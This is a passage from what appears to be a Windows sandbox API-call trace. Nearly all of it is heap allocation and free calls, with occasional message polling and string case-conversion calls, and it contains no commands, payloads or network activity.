Flags=0x0, Size=0x8) returned 0xeaf128 [0132.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557b0 [0132.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0132.010] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.010] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0132.010] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557b0 | out: hHeap=0xe80000) returned 1 [0132.010] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.011] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0132.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1938 [0132.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf208 [0132.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b98 [0132.011] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0132.011] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0132.011] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17d0 | out: hHeap=0xe80000) returned 1 [0132.011] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1938 | out: hHeap=0xe80000) returned 1 [0132.011] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.012] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b98 | out: hHeap=0xe80000) returned 1 [0132.012] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.012] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1b8 [0132.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557d0 [0132.012] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557d0 | out: hHeap=0xe80000) returned 1 [0132.012] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1b8 | out: hHeap=0xe80000) returned 1 [0132.012] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e40 [0132.012] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.012] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e40 | out: hHeap=0xe80000) returned 1 [0132.012] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0132.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0132.012] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0132.012] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0132.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016100 [0132.013] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0132.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1870 [0132.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0132.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bc8 [0132.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf148 [0132.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055490 [0132.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0132.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d18 [0132.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf158 [0132.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf178 [0132.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1898 [0132.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d18 | out: hHeap=0xe80000) returned 1 [0132.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0132.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0132.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0132.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0132.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055490 | out: hHeap=0xe80000) returned 1 [0132.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf148 | out: hHeap=0xe80000) returned 1 [0132.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0132.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1b8 [0132.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1b8 | out: hHeap=0xe80000) returned 1 [0132.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x1055470 [0132.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf138 [0132.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec18c0 [0132.014] CharLowerBuffW (in: lpsz="byte[115217]", cchLength=0xc | out: lpsz="byte[115217]") returned 0xc [0132.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0x107d2e0 [0132.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d90 [0132.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1b8 [0132.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d60 [0132.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf158 [0132.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b20 [0132.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1d8 [0132.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ca0 [0132.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf148 [0132.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0132.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf148 | out: hHeap=0xe80000) returned 1 [0132.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b20 | out: hHeap=0xe80000) returned 1 [0132.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1d8 | out: hHeap=0xe80000) returned 1 [0132.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0132.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0132.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec18c0 | out: hHeap=0xe80000) returned 1 [0132.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1898 | out: hHeap=0xe80000) returned 1 [0132.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 [0132.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bc8 | out: hHeap=0xe80000) returned 1 [0132.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0132.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0132.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1870 | out: hHeap=0xe80000) returned 1 [0132.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x10556f0 [0132.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0x107d070 [0132.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b98 [0132.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf248 [0132.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d90 | out: hHeap=0xe80000) returned 1 [0132.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1b8 | out: hHeap=0xe80000) returned 1 [0132.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107d2e0 | out: hHeap=0xe80000) returned 1 [0132.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055470 | out: hHeap=0xe80000) returned 1 [0132.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016100 | out: hHeap=0xe80000) returned 1 [0132.017] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015640 | out: hHeap=0xe80000) returned 1 [0132.017] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x1055790 [0132.017] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0x107d220 [0132.017] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ad8 [0132.017] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf058 [0132.017] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b98 | out: hHeap=0xe80000) returned 1 [0132.017] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0132.017] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107d070 | out: hHeap=0xe80000) returned 1 [0132.017] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556f0 | out: hHeap=0xe80000) returned 1 [0132.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10688f0 | out: hHeap=0xe80000) returned 1 [0132.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0132.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0132.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec31a8 | out: hHeap=0xe80000) returned 1 [0132.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf238 | out: hHeap=0xe80000) returned 1 [0132.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1410 | out: hHeap=0xe80000) returned 1 [0132.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076958 | out: hHeap=0xe80000) returned 1 [0132.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0132.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf188 | out: hHeap=0xe80000) returned 1 [0132.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0132.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0132.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bf8 | out: hHeap=0xe80000) returned 1 [0132.020] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec32c0 | out: hHeap=0xe80000) returned 1 [0132.071] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0132.072] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1960 | out: hHeap=0xe80000) returned 1 [0132.072] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0132.072] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0132.072] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2fe8 | out: hHeap=0xe80000) returned 1 [0132.072] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf078 | out: hHeap=0xe80000) returned 1 [0132.072] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1988 | out: hHeap=0xe80000) returned 1 [0132.072] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cb8 | out: hHeap=0xe80000) returned 1 [0132.072] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076af0 | out: hHeap=0xe80000) returned 1 [0132.072] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2fb0 | out: hHeap=0xe80000) returned 1 [0132.073] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0b8 | out: hHeap=0xe80000) returned 1 [0132.074] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1618 | out: hHeap=0xe80000) returned 1 [0132.074] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0132.074] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec31e0 | out: hHeap=0xe80000) returned 1 [0132.074] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0132.074] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17a8 | out: hHeap=0xe80000) returned 1 [0132.074] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d48 | out: hHeap=0xe80000) returned 1 [0132.074] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec3020 | out: hHeap=0xe80000) returned 1 [0132.075] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1a8 | out: hHeap=0xe80000) returned 1 [0132.075] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1848 | out: hHeap=0xe80000) returned 1 [0132.075] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0132.075] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec3250 | out: hHeap=0xe80000) returned 1 [0132.075] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf218 | out: hHeap=0xe80000) returned 1 [0132.076] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17f8 | out: hHeap=0xe80000) returned 1 [0132.076] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0132.076] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec14d8 | out: hHeap=0xe80000) returned 1 [0132.076] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1c8 | out: hHeap=0xe80000) returned 1 [0132.077] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec14b0 | out: hHeap=0xe80000) returned 1 [0132.077] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a60 | out: hHeap=0xe80000) returned 1 [0132.077] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0132.078] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0132.078] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0a8 | out: hHeap=0xe80000) returned 1 [0132.078] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec13e8 | out: hHeap=0xe80000) returned 1 [0132.078] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0132.079] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec3170 | out: hHeap=0xe80000) returned 1 [0132.079] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0132.080] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1320 | out: hHeap=0xe80000) returned 1 [0132.080] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076988 | out: hHeap=0xe80000) returned 1 [0132.080] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0132.080] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0132.080] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1e8 | out: hHeap=0xe80000) returned 1 [0132.081] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1370 | out: hHeap=0xe80000) returned 1 [0132.081] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0132.081] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076910 | out: hHeap=0xe80000) returned 1 [0132.082] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0132.082] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf068 | out: hHeap=0xe80000) returned 1 [0132.082] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec12d0 | out: hHeap=0xe80000) returned 1 [0132.083] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076820 | out: hHeap=0xe80000) returned 1 [0132.083] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0132.083] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0132.083] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf088 | out: hHeap=0xe80000) returned 1 [0132.083] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1500 | out: hHeap=0xe80000) returned 1 [0132.083] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0132.083] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769e8 | out: hHeap=0xe80000) returned 1 [0132.084] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0132.084] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec13c0 | out: hHeap=0xe80000) returned 1 [0132.084] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b08 | out: hHeap=0xe80000) returned 1 [0132.084] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1820 | out: hHeap=0xe80000) returned 1 [0132.084] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.084] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1780 | out: hHeap=0xe80000) returned 1 [0132.084] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076970 | out: hHeap=0xe80000) returned 1 [0132.084] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf118 | out: hHeap=0xe80000) returned 1 [0132.084] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0e8 | out: hHeap=0xe80000) returned 1 [0132.085] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1528 | out: hHeap=0xe80000) returned 1 [0132.085] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0132.085] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a00 | out: hHeap=0xe80000) returned 1 [0132.085] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0132.085] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076898 | out: hHeap=0xe80000) returned 1 [0132.085] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec12a8 | out: hHeap=0xe80000) returned 1 [0132.085] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0c8 | out: hHeap=0xe80000) returned 1 [0132.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076820 [0132.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0e8 [0132.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec14d8 [0132.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0132.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf158 [0132.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0132.086] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0132.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xca) returned 0xf3fd88 [0132.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf248 [0132.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec12a8 [0132.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076a30 [0132.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076910 [0132.087] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xf3fd88 | out: hHeap=0xe80000) returned 1 [0132.087] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0132.087] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf238 [0132.087] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf238 | out: hHeap=0xe80000) returned 1 [0132.087] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0132.087] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076910 | out: hHeap=0xe80000) returned 1 [0132.087] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec12a8 | out: hHeap=0xe80000) returned 1 [0132.087] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0132.087] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0132.088] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec14d8 | out: hHeap=0xe80000) returned 1 [0132.088] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0e8 | out: hHeap=0xe80000) returned 1 [0132.088] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1d8 [0132.088] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1c211) returned 0xedfbf8 [0132.092] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ad8 | out: hHeap=0xe80000) returned 1 [0132.092] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.092] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107d220 | out: hHeap=0xe80000) returned 1 [0132.092] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055790 | out: hHeap=0xe80000) returned 1 [0132.092] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076838 | out: hHeap=0xe80000) returned 1 [0132.092] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076820 | out: hHeap=0xe80000) returned 1 [0132.093] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1708 | out: hHeap=0xe80000) returned 1 [0132.093] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf048 | out: hHeap=0xe80000) returned 1 [0132.093] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38422) returned 0x107f3f8 [0132.102] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec39d8 | out: hHeap=0xe80000) returned 1 [0132.103] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xedfbf8 | out: hHeap=0xe80000) returned 1 [0132.105] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1d8 | out: hHeap=0xe80000) returned 1 [0132.105] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0132.105] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf098 [0132.105] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1d8 [0132.105] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec2fe8 [0132.105] CharUpperBuffW (in: lpsz="DBRUAIEIBZEWRGBQ", cchLength=0x10 | out: lpsz="DBRUAIEIBZEWRGBQ") returned 0x10 [0132.105] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2fe8 | out: hHeap=0xe80000) returned 1 [0132.105] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1d8 | out: hHeap=0xe80000) returned 1 [0132.105] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, 